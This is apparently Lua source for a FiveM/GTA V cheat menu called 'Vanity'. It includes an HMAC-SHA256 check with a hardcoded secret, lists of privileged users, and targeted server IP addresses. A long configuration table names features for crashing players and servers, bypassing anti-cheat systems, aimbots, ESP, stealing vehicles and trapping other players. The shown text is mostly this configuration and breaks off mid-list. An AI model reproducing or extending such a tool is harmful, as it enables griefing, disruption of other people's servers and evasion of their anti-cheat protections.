menu = {} floorNumber = math.floor maxNumber = math.max minNumber = math.min function roundNearest(value) return floorNumber(value + 0.5) end function startCarryAnimation() local playerPed = PlayerPedId() local animationDictionary = "anim@mp_rollarcoaster" local animationName = "hands_up_idle_a_player_one" if not HasAnimDictLoaded(animationDictionary) then RequestAnimDict(animationDictionary) while not HasAnimDictLoaded(animationDictionary) do Wait(100) end end menu.vars.carryAnimActive = true CreateThread(function() while menu.vars.carryAnimActive do if not (menu.vars.carryAttachedVeh and DoesEntityExist(menu.vars.carryAttachedVeh)) then if not menu.vars.carryAttachedObj or not DoesEntityExist(menu.vars.carryAttachedObj) then break end end if not IsEntityPlayingAnim(playerPed, animationDictionary, animationName, 3) then TaskPlayAnim(playerPed, animationDictionary, animationName, 8.0, -8.0, -1, 50, 0, false, false, false) end Wait(500) end end) end function rotateRight32(value, shift) return ((value >> shift) | (value << (32 - shift))) & 4294967295 end function sha256Hex(message) local roundConstants = { 1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298 } local hash0, hash1, hash2, hash3 = 1779033703, 3144134277, 1013904242, 2773480762 local hash4, hash5, hash6, hash7 = 1359893119, 2600822924, 528734635, 1541459225 local bitLength = #message * 8 message = message .. string.char(128) while #message % 64 ~= 56 do message = message .. string.char(0) end local lengthHigh = math.floor(bitLength / 4294967296) local lengthLow = bitLength & 4294967295 message = message .. string.char( (lengthHigh >> 24) & 255, (lengthHigh >> 16) & 255, (lengthHigh >> 8) & 255, lengthHigh & 255, (lengthLow >> 24) & 255, (lengthLow >> 16) & 255, (lengthLow >> 8) & 255, lengthLow & 255 ) for chunkStart = 1, #message, 64 do local words = {} for wordIndex = 0, 15 do local byte0 = string.byte(message, chunkStart + wordIndex * 4) local byte1 = string.byte(message, chunkStart + wordIndex * 4 + 1) local byte2 = string.byte(message, chunkStart + wordIndex * 4 + 2) local byte3 = string.byte(message, chunkStart + wordIndex * 4 + 3) words[wordIndex] = (((byte0 or 0) << 24) | ((byte1 or 0) << 16) | ((byte2 or 0) << 8) | (byte3 or 0)) & 4294967295 end for wordIndex = 16, 63 do local earlierWord = words[wordIndex - 15] local sigma0 = rotateRight32(earlierWord, 7) ~ rotateRight32(earlierWord, 18) ~ (earlierWord >> 3) local laterWord = words[wordIndex - 2] local sigma1 = rotateRight32(laterWord, 17) ~ rotateRight32(laterWord, 19) ~ (laterWord >> 10) words[wordIndex] = (words[wordIndex - 16] + sigma0 + words[wordIndex - 7] + sigma1) & 4294967295 end local a, b, c, d, e, f, g, h = hash0, hash1, hash2, hash3, hash4, hash5, hash6, hash7 for round = 0, 63 do local sum1 = rotateRight32(e, 6) ~ rotateRight32(e, 11) ~ rotateRight32(e, 25) local choice = (e & f) ~ ( ( ~e ) & g) local temporary1 = (h + sum1 + choice + roundConstants[round + 1] + words[round]) & 4294967295 local sum0 = rotateRight32(a, 2) ~ rotateRight32(a, 13) ~ rotateRight32(a, 22) local majority = (a & b) ~ (a & c) ~ (b & c) local temporary2 = (sum0 + majority) & 4294967295 h, g, f = g, f, e e = (d + temporary1) & 4294967295 d, c, b = c, b, a a = (temporary1 + temporary2) & 4294967295 end hash0 = (hash0 + a) & 4294967295 hash1 = (hash1 + b) & 4294967295 hash2 = (hash2 + c) & 4294967295 hash3 = (hash3 + d) & 4294967295 hash4 = (hash4 + e) & 4294967295 hash5 = (hash5 + f) & 4294967295 hash6 = (hash6 + g) & 4294967295 hash7 = (hash7 + h) & 4294967295 end local function wordToHex(word) local hexDigits = "0123456789abcdef" local result = "" for index = 1, 8 do local nibble = (word >> (32 - index * 4)) & 15 result = result .. string.sub(hexDigits, nibble + 1, nibble + 1) end return result end return wordToHex(hash0) .. wordToHex(hash1) .. wordToHex(hash2) .. wordToHex(hash3) .. wordToHex(hash4) .. wordToHex(hash5) .. wordToHex(hash6) .. wordToHex(hash7) end function hmacSha256Hex(key, message) local blockSize = 64 if blockSize < #key then local hashedKey = sha256Hex(key) key = "" for index = 1, #hashedKey, 2 do key = key .. string.char(tonumber(string.sub(hashedKey, index, index + 1), 16)) end end while blockSize > #key do key = key .. string.char(0) end local outerPad, innerPad = "", "" for index = 1, blockSize do local keyByte = string.byte(key, index) or 0 outerPad = outerPad .. string.char(keyByte ~ 92) innerPad = innerPad .. string.char(keyByte ~ 54) end local innerHash = sha256Hex(innerPad .. message) local innerHashBytes = "" for index = 1, #innerHash, 2 do innerHashBytes = innerHashBytes .. string.char(tonumber(string.sub(innerHash, index, index + 1), 16)) end return sha256Hex(outerPad .. innerHashBytes) end function verifyServerResponse(response, value) local secret = "dfgdjqdijdqij10q09ed90q09jfw0" if not response.success then return false, "Response not successful" end if not response.hash or not response.timestamp then return false, "Missing hash or timestamp" end local receivedHash = tostring(response.hash) if #receivedHash ~= 64 then return false, "Invalid hash length" end local timestamp = tonumber(response.timestamp) if not timestamp then return false, "Invalid timestamp" end local age = Ham.getUnixTimestamp() - timestamp if 60 < age then return false, "Timestamp too old" end local computedHash = hmacSha256Hex(secret, value .. ":" .. tostring(response.timestamp)) if not computedHash or #computedHash ~= 64 then return false, "Hash computation failed" end if string.lower(computedHash) == string.lower(receivedHash) then return true, "Verification successful" end return false, "Hash mismatch" end do function getFooterBuildLabel() local now = GetGameTimer() if menu.vars.footerHamId and menu.vars.footerHamIdExpiresAt and now < menu.vars.footerHamIdExpiresAt then return menu.vars.footerHamId end local label = "Build " .. tostring((Ham.getId and Ham.getId()) or "N/A") menu.vars.footerHamId = label menu.vars.footerHamIdExpiresAt = now + 5000 return label end initialMenu = menu initialMenuVars = { priorityUsers = { Finn = true, ZModz = true, ["4ds"] = true, amirocn = true, Louis = true, edin = true, sneaky = true, ademz44 = true, Cage = true, brascowhite = true, drmy = true, ["72latias"] = true, jayswerve = true, Zocker = true, Pascal18777 = true, thugbooty43 = true }, vanityUserListIconUsers = { finn = "Finn", zmodz = "ZModz" }, crashPlayerCountBypassUsers = { drmy = true, Cage = true, amirocn = true, ZModz = true, Finn = true, ademz44 = true, sneaky = true, thugbooty43 = true }, crashSinglePlayerBypassUsers = { ZModz = true, Finn = true }, testServerCrashBypassUsers = { Zmohammed = true, ["11223"] = true }, serverCrashBypassUsers = { ZModz = true }, serverRestrictions = { vehicleBlocked = { ["151.242.106.21"] = true, ["89.144.31.20"] = true }, objectBlocked = { ["193.111.250.17"] = true }, electronAcBypassDisabled = { ["104.167.24.82"] = true } }, openInjectServers = { ["51.254.207.45"] = true }, serverBlockedVehicleFunctions = { spawnVehicle = true, spawnVehicleByNamePrompt = true, spawnVehicleFromCategory = true, adminSpawnVehiclePrompt = true, stealVehicle = true, tazeOutOfVehicle = true, kickFromVehicleChoice = true, kickFromVehicle = true, kickFromVehicle2 = true, deleteVehicle = true, breakVehicle = true, vehicleThief = true, carryPlayerVehicle = true, flyVehicleToAir = true, stealVehiclePlate = true, launchVehicle = true, launchVehicleNew = true, explodeVehicleNew = true, kickSelectedPlayerVehicle = true, launchSelectedPlayerVehicle = true, vehiclePopTyres = true, vehicleBreakEngine = true, vehicleMaxTune = true, vehicleRepair = true, vehicleChangePlate = true, rainSelector = true, truckRain = true, vehicleRain = true, arabAttackRain = true, repairVehicle = true, mainDeleteVehicle = true, openVehicleDoors = true, lockUnlockClosestVehicle = true, flipVehicle = true, boostVehicle = true, changeVehiclePlate = true, setVehicleSpeed = true, attachVehicleProp = true, toggleKickVehicleMode = true, toggleVehicleVdmMode = true, toggleCarryVehicle = true, spectateSelectedVehicle = true, teleportIntoSelectedVehicle = true, lockUnlockRadarVehicle = true, openRadarVehicleDoors = true, radarStealVehicle = true, radarBreakVehicles = true, deleteSelectedVehicles = true, adminDeleteAllVehicles500 = true, zmodzEscapeVehicleSpoof = true, vehicleBreakAll = true, spawnRCCar = true, onRCCarVehicleModeEnter = true, destroyVehicle = true, crazyHelicopterPlayer = true, silentKillVehicle = true, silentKillHeli = true, silentKillCar = true, vehicleAttachToPlayer = true, vdmPlayer = true, ramPlayer = true, kickPlayerFromVehicle = true, teleportToPlayerVehicle = true, toggleVehicleGun = true, toggleVehicleGunNoCollision = true, teleportToSky = true }, serverBlockedObjectFunctions = { cagePlayer = true, fallingTent = true, boxPlayerSelector = true, spawnCube = true, objectLaunch = true, spawnCorpseFollow = true, spawnParachuteFollow = true, logPlayer = true, beerPlayer = true, cageWithDrink = true, spawnBunker = true, asteroidAttack = true, objectDrop = true, spawnTrashCan = true, fallingObjectRain = true, burgerRain = true, treeRain = true, silentKillProp = true, spawnSilentKillPropForServerId = true, banPlayerPush = true, pushPlayer = true, flashbangPlayer = true, attachPlayerSelector = true, adminDeleteAllObjects500 = true }, serverBlockedWeaponSpawnFunctions = { spawnWeaponFromCategory = true, spawnWeaponByNamePrompt = true, giveAllWeapons = true, giveWeapon = true }, adminUsers = { Finn = true, ZModz = true, amirocn = true, Louis = true, edin = true, sneaky = true, ademz44 = true, Cage = true, drmy = true, ["72latias"] = true, jayswerve = true, Zocker = true, Pascal18777 = true, thugbooty43 = true }, zmodzEscapeUsers = { ZModz = true, Pascal18777 = true }, esxSkinCrasherUsers = { ZModz = true, amirocn = true, Finn = true }, restrictedAdminUsers = { jayswerve = { tabs = { ["Online List"] = true, Options = true }, options = { Kill = true, ["Ban Player"] = true, Crash = true, ["Block Controls"] = true }, visibleUsers = { coat = true } } }, title = "Vanity", visible = false, resolution = {}, scale = 1.2, yOffset = 100, menuVerticalAnchorDivisor = 7, width = 470, widthResScaling = 0.9, widthScaleFactor = 1.0, currentMenuSizePreset = "1920x1080", bannerHeight = 120, tabHeight = 26, titleBarHeight = 28, footerHeight = 26, currentTab = 1, currentOption = 1, lastKeyPress = 0, navigationStack = {}, selectionHistory = {}, scrollOffset = 0, scrollHistory = {}, maxVisibleOptions = 9, optionHeight = 29.0, animation = { active = false, direction = "none", progress = 0, fromOptions = nil, toOptions = nil, speed = 2.2 }, menuVisibilityAnim = { progress = 0.0, target = 0.0, speed = 5.0, closing = false }, selectionAnim = { initialized = false, y = 0, targetY = 0 }, enableAnimatedHighlight = true, animationSpeedMultiplier = 1.0, selectorAdjustDelayMs = 12, sliderHoldState = { optionKey = nil, direction = 0, startedAt = 0, lastAt = 0, repeatCount = 0 }, isBindingKey = false, startupHudReady = false, menuToggleIgnoreUntil = 0, bindCompleteTime = 0, boundKeyName = "F5", tabScrollLeftKey = "Q", tabScrollRightKey = "E", menuOptionBindKey = "F11", screenBoundOverlayUntil = 0, screenBoundOverlayText = nil, deferredEspEnableState = true, nextPlayerListRefresh = 0, onlineListFocusedServerId = nil, playerLeftOnlineNotifySids = {}, nextPlayerValidation = 0, nextVehicleListRefresh = 0, playerInfoListMode = false, playerInfoPhoneRowIndex = 2, playerInfoDiscordRowIndex = nil, playerInfoListIndex = 2, _playerInfoPhoneCopyRaw = nil, _playerInfoDiscordCopyRaw = nil, _playerInfoListMaxRow = 12, hotkeys = {}, hotkeyBinds = {}, hotkeyBindSlot = {}, isBindingHotkey = false, hotkeyBindingInfo = nil, hotkeyBindIgnoreUntil = 0, hotkeyBindCompleteTime = 0, hotkeyBindCompleteMessage = nil, panicMode = false, panicRestoreVisible = true, backgroundStyleName = "Magic", nextOutfitHotkeyUsesAdmin = false, bools = { disabledUsernameOnMenu = false, alwaysDrawScrollbar = true, menuMouseControl = false, silentAimShowFov = true, rageBotShowFov = true, aimbotShowFov = true, drawSelectedLine = true, drawSelectedVehicleLine = true, drawSelectedPlayerInfo = true, noclipScrollSpeed = false, showEntitySpawnPreview = true, silentAimVisibleCheck = true, silentAimNpc = false, silentAimUnarmed = false, silentAimGrand = false, silentAimEspBlink = true, rageBotNpc = false, rageBotTargetDead = false, rageBotUdKill = false, rageBotSilentKillF = false, grandRpBypass = true, revoBypass = false, triggerBot = false, triggerBotHoldKey = false, triggerBotNpc = false, lazerEyes = false, lazerEyesDisableRockets = false, lazerEyesShootFromDick = false, lazerEyesSilentAimSupport = false, descriptionBar = true, menuSound = true, infoList = false, keybindList = true, selfEsp = false, npcEsp = false, espEnable = false, espText = false, espTextNameEnabled = true, espTextGroupEnabled = true, espTextIdEnabled = true, espTextDistanceEnabled = true, espTextWeaponEnabled = true, espSkeleton = true, espSkeletonFeet = false, espSkeletonWallHighlight = true, espSkeletonOutline = false, espBox = false, espBoxShow = false, espBoxFill = false, espSkeletonGlow = false, espBoxGlow = false, espBoxHealth = true, espBoxArmor = false, vehicleEsp = false, vehicleEspShowName = false, vehicleEspShowDistance = false, vehicleEspShowHealth = false, vehicleEspShowTank = false, vehicleEspShowSpeed = false, vehicleEspLockState = false, pedSpoofEnabled = false, vehSpawnerSpawnInside = true, vehSpawnerSpawnTuned = false, showVehicleSpawnPreview = true, noclipInvis = false, noclipModeEnabled = false, invisibilityEnabled = false, spectate = false, godmode = false, proofBullet = false, proofFire = false, proofExplosion = false, proofCollision = false, proofMelee = false, proofSteam = false, proofDrown = false, noclip = false, antiTeleport = false, antiFreeze = false, antiVdm = false, antiWeaponBlock = false, antiKickDriver = false, spoofWeaponBypass = false, localWeaponSpoof = false, fakeWeaponEnabled = false, weaponBypassRecommended = false, electronAcWeaponBypass = false, weaponBypass = false, spawnInHand = false, soloSession = false, nameTagsEsp = false, healthBarEsp = false, skeletonEsp = false, boxEsp = false, pedNameTagsEsp = false, pedHealthBarEsp = false, pedSkeletonEsp = false, pedBoxEsp = false, pedDistanceEsp = false, pedWeaponEsp = false, excludeDeadPed = false, otherEspPedSkeleton = true, otherEspPedBox = true, otherEspPedBoxFill = false, otherEspPedName = true, otherEspPedGroup = true, otherEspPedId = false, otherEspPedDistance = true, otherEspPedWeapon = true, otherEspPedHealth = true, otherEspPedArmor = true, forceDragOut = false, fastPunch = false, punchMode = false, towTruck = false, pitMode = false, vehicleVdmMode = false, spectatorList = true, vanityUsersList = false, showMeOnServers = false, showMyLocation = false, showMeInVanityEsp = false, showMeInOnlineOptions = false, forceTime = false, forceWeather = false, poisonAttack = false, miscCrash = false, miscCrashAllLoop = false, carryObjects = false, crazyHelicopter = false, damageReflection = false, destroyerExplodeWorld = false, destroyerExplodeAllVehicles = false, aimbot = false, aimbotIgnoreVehicles = false, aimbotVisibleOnly = false, rcCarActive = false, infiniteStamina = false, infiniteJump = false, crosshair = false, forceWeaponwheel = false, oneShot = false, teleportBullet = false, freecamOptionMapDestroyer = true, freecamOptionSpawnExplosion = true, freecamOptionSpawnFire = true, freecamOptionSpawnAttacker = true, freecamOptionShootPed = true, freecamOptionSpawnObject = true, freecamOptionSpawnVehicle = true, freecamOptionShootRPG = true, freecamOptionShoot = true, freecamOptionSelectPlayer = true, freecamOptionMassKill = true, freecamOptionFightParty = true, freecamOptionPunchEveryone = true, freecamOptionBlackHole = true, freecamOptionUnselectPlayer = true, freecamOptionTeleport = true, freecamOptionLookAround = true, freecamOptionStealVehicle = true, freecamOptionNPCVehicleHijack = true, freecamOptionPhysgun = true, freecamOptionShootVehicle = true, freecamOptionHelicopterAttack = true, devPedObjectModelDebug = false, freecamBlockQEMovement = true, espTextRainbow = false, espSkeletonRainbow = false, espBoxRainbow = false, emoteMenuResetAnimation = false, skipTestServerConfirm = false }, selectors = { selectionBarSpeedMultiplier = 0.55, selectionBarSmooth = 3, boxPlayerSelector = 1, playerEspType = 1, pedEspType = 1, silentKillAlternativeSelector = 1, smashSelector = 1, radarVehicleLockSelector = 1, teleportVehicleSeat = 1, keyboardLayout = 1, silentAimBone = 1, silentAimMode = 1, triggerBotAimMode = 1, teleportSelector = 1, forceEmote = 1, forceRadioAnimType = 1, rainbowVehicle = 1, carryThrowForce = 1, vehicleVdmModeStyle = 1, rageBotType = 1, rageBotBulletType = 1, rageBotCooldownKills = 6, rageBotCooldownSeconds = 3, teleportLocation = 1, teleportTarget = 1, normalOutfit = 1, adminOutfit = 1, adminBlackscreenChoice = 1, adminSkyVoidChoice = 1, adminBlockControlsChoice = 1, adminSlowModeChoice = 1, vehicleSelector = 1, vehicleSelector2 = 1, vehicleLockSelector = 1, reosurceStopSelector = 1, resourceStopFilterSelector = 1, pedChangerSelector = 1, selectionColor = 1, color = 4, theme = 5, noclipAnimation = 1, noclipMode = 1, invisibilityMode = 1, configSelector = 1, saveConfigSelector = 1, aimbotBone = 1, espHealthBarColor = 1, pedEspHealthBarColor = 1, espHealthBarPos = 4, espArmorBarPos = 4, otherEspHealthBarPos = 4, otherEspArmorBarPos = 4, otherEspPedHealthBarPos = 4, otherEspPedArmorBarPos = 4, espTextName = 2, espTextGroup = 2, espTextId = 2, espTextDistance = 2, espTextWeapon = 2, weatherType = 1, launchFlingSelector = 1, pedAttackSelector = 1, cageSelector = 1, attachSelector = 1, trapSelector = 1, rainSelector = 1, blameStyle = 1, savedOutfitSelector = 1, deleteOutfitSelector = 1, hornBoostSelector = 1, crosshairMode = 1, crosshairType = 1, freecamAdjustKeys = 2, freecamVisibleOptions = 5, espTextRainbowMode = 1, espSkeletonRainbowMode = 1, espBoxRainbowMode = 1, killPlayerWeaponSelector = 1, backgroundStyle = 5, repairVehicleSelector = 1, vehicleInvisibleMode = 1, destroyerBurnEveryoneRadius = 2, destroyerBurnEveryoneCooldownTargets = 6, destroyerBurnEveryoneCooldownSeconds = 3, destroyerPunchEveryoneRadius = 2, destroyerSlapEveryoneRadius = 2, onlineRagdollMode = 1, fakeWeaponSpoof = 1 }, sliders = { playerHealth = 95, playerArmor = 95 }, textInputs = {}, customObjects = {}, customVehicles = {}, customPeds = {}, shootVehicleCustomModels = {}, colorPickers = { espHealthBarStaticColor = { 0, 133, 255, 255 }, espArmorColor = { 0, 133, 255, 255 }, espSkeletonColor = { 255, 255, 255, 255 }, espSkeletonOccludedColor = { 208, 176, 136, 255 } }, colorPickerRainbowStates = {}, colorPickerOnChangeFuncs = {}, savedOutfits = {}, savedLocations = {}, silentAimGrandWeaponDamage = {}, colorThemeNames = { "red", "green", "blue", "orange", "purple", "grey", "community", "adminbanners" }, colorThemeNamesUI = { "Red", "Green", "Blue", "Orange", "Purple", "Grey", "Community", "Private" }, colorPickerState = { active = false, var = nil, name = nil, hue = 0, saturation = 1, brightness = 1, alpha = 255, rainbowEnabled = false, mouseDown = false, hexInputActive = false, hexInputBuffer = "", hexSelectAll = false, cachedPalette = nil, cachedHue = -1, cachedPaletteSize = { width = 0, height = 0, x = 0, y = 0 } }, spectatorListState = { x = nil, y = nil, isDragging = false, dragOffsetX = 0, dragOffsetY = 0 }, vanityUsersListState = { x = nil, y = nil, isDragging = false, dragOffsetX = 0, dragOffsetY = 0 }, keybindListState = { x = nil, y = nil, isDragging = false, dragOffsetX = 0, dragOffsetY = 0, followInfoLayout = true }, infoListState = { x = nil, y = nil, isDragging = false, dragOffsetX = 0, dragOffsetY = 0, followKeybind = true }, menuPositionState = { x = nil, y = nil, isDragging = false, dragOffsetX = 0, dragOffsetY = 0 }, indivBools = {}, selectedPlayer = nil, selectedPlayers = {}, orderedTabs = {}, notifications = {}, loadedTriggers = {}, textPrompt = nil, modelDimsCache = {}, espCache = { lastTick = 0, byPed = {} }, menuSpawnedPedStateKey = "pm_menu_spawned", groupOverrides = {}, friendList = {}, vanityFriends = {}, linkedDiscord = nil, espColors = { Green = { 0, 255, 0, 255 }, Red = { 255, 0, 0, 255 }, Blue = { 0, 100, 255, 255 }, White = { 255, 255, 255, 255 }, Yellow = { 255, 255, 0, 255 }, Purple = { 200, 0, 255, 255 }, Orange = { 255, 165, 0, 255 }, Cyan = { 0, 255, 255, 255 } }, weaponsList = { "WEAPON_UNARMED", "WEAPON_KNIFE", "WEAPON_NIGHTSTICK", "WEAPON_HAMMER", "WEAPON_BAT", "WEAPON_GOLFCLUB", "WEAPON_CROWBAR", "WEAPON_BOTTLE", "WEAPON_DAGGER", "WEAPON_HATCHET", "WEAPON_MACHETE", "WEAPON_FLASHLIGHT", "WEAPON_SWITCHBLADE", "WEAPON_BATTLEAXE", "WEAPON_POOLCUE", "WEAPON_WRENCH", "WEAPON_STONE_HATCHET", "WEAPON_KNUCKLE", "WEAPON_STUNROD", "WEAPON_CANDYCANE", "WEAPON_PISTOL", "WEAPON_PISTOL_MK2", "WEAPON_COMBATPISTOL", "WEAPON_COMBATPISTOL_MK2", "WEAPON_APPISTOL", "WEAPON_PISTOL50", "WEAPON_SNSPISTOL", "WEAPON_SNSPISTOL_MK2", "WEAPON_HEAVYPISTOL", "WEAPON_HEAVYPISTOL_MK2", "WEAPON_VINTAGEPISTOL", "WEAPON_MARKSMANPISTOL", "WEAPON_REVOLVER", "WEAPON_REVOLVER_MK2", "WEAPON_DOUBLEACTION", "WEAPON_CERAMICPISTOL", "WEAPON_NAVYREVOLVER", "WEAPON_GADGETPISTOL", "WEAPON_STUNGUN", "WEAPON_FLAREGUN", "WEAPON_TACTICALRIFLE", "WEAPON_PRECISIONRIFLE", "WEAPON_MICROSMG", "WEAPON_MICROSMG_MK2", "WEAPON_SMG", "WEAPON_SMG_MK2", "WEAPON_ASSAULTSMG", "WEAPON_COMBATPDW", "WEAPON_MACHINEPISTOL", "WEAPON_MINISMG", "WEAPON_TECPISTOL", "WEAPON_ASSAULTRIFLE", "WEAPON_ASSAULTRIFLE_MK2", "WEAPON_CARBINERIFLE", "WEAPON_CARBINERIFLE_MK2", "WEAPON_ADVANCEDRIFLE", "WEAPON_ADVANCEDRIFLE_MK2", "WEAPON_SPECIALCARBINE", "WEAPON_SPECIALCARBINE_MK2", "WEAPON_BULLPUPRIFLE", "WEAPON_BULLPUPRIFLE_MK2", "WEAPON_COMPACTRIFLE", "WEAPON_MILITARYRIFLE", "WEAPON_HEAVYRIFLE", "WEAPON_TACTICALRIFLE", "WEAPON_BATTLERIFLE", "WEAPON_PUMPSHOTGUN", "WEAPON_PUMPSHOTGUN_MK2", "WEAPON_SAWNOFFSHOTGUN", "WEAPON_SAWNOFFSHOTGUN_MK2", "WEAPON_ASSAULTSHOTGUN", "WEAPON_ASSAULTSHOTGUN_MK2", "WEAPON_BULLPUPSHOTGUN", "WEAPON_HEAVYSHOTGUN", "WEAPON_DBSHOTGUN", "WEAPON_AUTOSHOTGUN", "WEAPON_COMBATSHOTGUN", "WEAPON_MUSKET", "WEAPON_MG", "WEAPON_COMBATMG", "WEAPON_COMBATMG_MK2", "WEAPON_GUSENBERG", "WEAPON_SNIPERRIFLE", "WEAPON_HEAVYSNIPER", "WEAPON_HEAVYSNIPER_MK2", "WEAPON_MARKSMANRIFLE", "WEAPON_MARKSMANRIFLE_MK2", "WEAPON_GRENADELAUNCHER", "WEAPON_GRENADELAUNCHER_SMOKE", "WEAPON_RPG", "WEAPON_MINIGUN", "WEAPON_FIREWORK", "WEAPON_RAILGUN", "WEAPON_HOMINGLAUNCHER", "WEAPON_COMPACTLAUNCHER", "WEAPON_RAYMINIGUN", "WEAPON_RAYPISTOL", "WEAPON_RAYCARBINE", "WEAPON_EMPLAUNCHER", "WEAPON_FERTILIZERCAN", "WEAPON_ACIDPACKAGE", "WEAPON_GRENADE", "WEAPON_STICKYBOMB", "WEAPON_PROXMINE", "WEAPON_SMOKEGRENADE", "WEAPON_BZGAS", "WEAPON_MOLOTOV", "WEAPON_FLARE", "WEAPON_BALL", "WEAPON_SNOWBALL", "WEAPON_PIPEBOMB", "WEAPON_PETROLCAN", "WEAPON_FIREEXTINGUISHER", "WEAPON_HAZARDCAN", "WEAPON_PARACHUTE" }, _weaponComponentNames = { "COMPONENT_AT_AR_SUPP", "COMPONENT_AT_AR_SUPP_02", "COMPONENT_AT_PI_SUPP", "COMPONENT_AT_PI_SUPP_02", "COMPONENT_AT_SR_SUPP", "COMPONENT_AT_SR_SUPP_03", "COMPONENT_AT_SCOPE_MACRO", "COMPONENT_AT_SCOPE_MACRO_02", "COMPONENT_AT_SCOPE_MACRO_MK2", "COMPONENT_AT_SCOPE_SMALL", "COMPONENT_AT_SCOPE_SMALL_02", "COMPONENT_AT_SCOPE_SMALL_MK2", "COMPONENT_AT_SCOPE_MEDIUM", "COMPONENT_AT_SCOPE_MEDIUM_MK2", "COMPONENT_AT_SCOPE_LARGE", "COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM", "COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2", "COMPONENT_AT_SCOPE_LARGE_MK2", "COMPONENT_AT_SCOPE_MAX", "COMPONENT_AT_SCOPE_NV", "COMPONENT_AT_SCOPE_THERMAL", "COMPONENT_AT_PI_FLSH", "COMPONENT_AT_PI_FLSH_02", "COMPONENT_AT_PI_FLSH_03", "COMPONENT_AT_AR_FLSH", "COMPONENT_AT_AR_AFGRIP", "COMPONENT_AT_AR_AFGRIP_02", "COMPONENT_AT_PI_COMP", "COMPONENT_AT_PI_COMP_02", "COMPONENT_AT_PI_COMP_03", "COMPONENT_AT_AR_COMP", "COMPONENT_AT_SC_COMP", "COMPONENT_AT_MUZZLE_01", "COMPONENT_AT_MUZZLE_02", "COMPONENT_AT_MUZZLE_03", "COMPONENT_AT_MUZZLE_04", "COMPONENT_AT_MUZZLE_05", "COMPONENT_AT_MUZZLE_06", "COMPONENT_AT_MUZZLE_07", "COMPONENT_AT_MUZZLE_08", "COMPONENT_AT_MUZZLE_09", "COMPONENT_AT_MUZZLE_10", "COMPONENT_AT_MUZZLE_11", "COMPONENT_AT_MUZZLE_12", "COMPONENT_AT_MUZZLE_13", "COMPONENT_AT_MUZZLE_14", "COMPONENT_AT_SB_BARREL_01", "COMPONENT_AT_SB_BARREL_02", "COMPONENT_AT_AR_BARREL_01", "COMPONENT_AT_AR_BARREL_02", "COMPONENT_AT_SC_BARREL_01", "COMPONENT_AT_SC_BARREL_02", "COMPONENT_AT_BP_BARREL_01", "COMPONENT_AT_BP_BARREL_02", "COMPONENT_AT_CR_BARREL_01", "COMPONENT_AT_CR_BARREL_02", "COMPONENT_AT_MG_BARREL_01", "COMPONENT_AT_MG_BARREL_02", "COMPONENT_AT_SR_BARREL_01", "COMPONENT_AT_SR_BARREL_02", "COMPONENT_AT_MRFL_BARREL_01", "COMPONENT_AT_MRFL_BARREL_02", "COMPONENT_AT_PI_RAIL", "COMPONENT_PISTOL_CLIP_02", "COMPONENT_COMBATPISTOL_CLIP_02", "COMPONENT_APPISTOL_CLIP_02", "COMPONENT_PISTOL50_CLIP_02", "COMPONENT_HEAVYPISTOL_CLIP_02", "COMPONENT_SNSPISTOL_CLIP_02", "COMPONENT_VINTAGEPISTOL_CLIP_02", "COMPONENT_CERAMICPISTOL_CLIP_02", "COMPONENT_MICROSMG_CLIP_02", "COMPONENT_SMG_CLIP_02", "COMPONENT_SMG_CLIP_03", "COMPONENT_ASSAULTSMG_CLIP_02", "COMPONENT_COMBATPDW_CLIP_02", "COMPONENT_COMBATPDW_CLIP_03", "COMPONENT_MACHINEPISTOL_CLIP_02", "COMPONENT_MACHINEPISTOL_CLIP_03", "COMPONENT_MINISMG_CLIP_02", "COMPONENT_ASSAULTRIFLE_CLIP_02", "COMPONENT_ASSAULTRIFLE_CLIP_03", "COMPONENT_CARBINERIFLE_CLIP_02", "COMPONENT_CARBINERIFLE_CLIP_03", "COMPONENT_ADVANCEDRIFLE_CLIP_02", "COMPONENT_SPECIALCARBINE_CLIP_02", "COMPONENT_SPECIALCARBINE_CLIP_03", "COMPONENT_BULLPUPRIFLE_CLIP_02", "COMPONENT_COMPACTRIFLE_CLIP_02", "COMPONENT_COMPACTRIFLE_CLIP_03", "COMPONENT_MILITARYRIFLE_CLIP_02", "COMPONENT_HEAVYRIFLE_CLIP_02", "COMPONENT_TACTICALRIFLE_CLIP_02", "COMPONENT_BATTLERIFLE_CLIP_02", "COMPONENT_MG_CLIP_02", "COMPONENT_COMBATMG_CLIP_02", "COMPONENT_GUSENBERG_CLIP_02", "COMPONENT_MARKSMANRIFLE_CLIP_02", "COMPONENT_ASSAULTSHOTGUN_CLIP_02", "COMPONENT_HEAVYSHOTGUN_CLIP_02", "COMPONENT_HEAVYSHOTGUN_CLIP_03", "COMPONENT_PISTOL_MK2_CLIP_02", "COMPONENT_SNSPISTOL_MK2_CLIP_02", "COMPONENT_REVOLVER_MK2_CLIP_01", "COMPONENT_SMG_MK2_CLIP_02", "COMPONENT_ASSAULTRIFLE_MK2_CLIP_02", "COMPONENT_CARBINERIFLE_MK2_CLIP_02", "COMPONENT_SPECIALCARBINE_MK2_CLIP_02", "COMPONENT_BULLPUPRIFLE_MK2_CLIP_02", "COMPONENT_COMBATMG_MK2_CLIP_02", "COMPONENT_MARKSMANRIFLE_MK2_CLIP_02", "COMPONENT_HEAVYSNIPER_MK2_CLIP_02", "COMPONENT_PUMPSHOTGUN_MK2_CLIP_01", "COMPONENT_PISTOL_MK2_CLIP_TRACER", "COMPONENT_PISTOL_MK2_CLIP_INCENDIARY", "COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT", "COMPONENT_PISTOL_MK2_CLIP_FMJ", "COMPONENT_SNSPISTOL_MK2_CLIP_TRACER", "COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY", "COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT", "COMPONENT_SNSPISTOL_MK2_CLIP_FMJ", 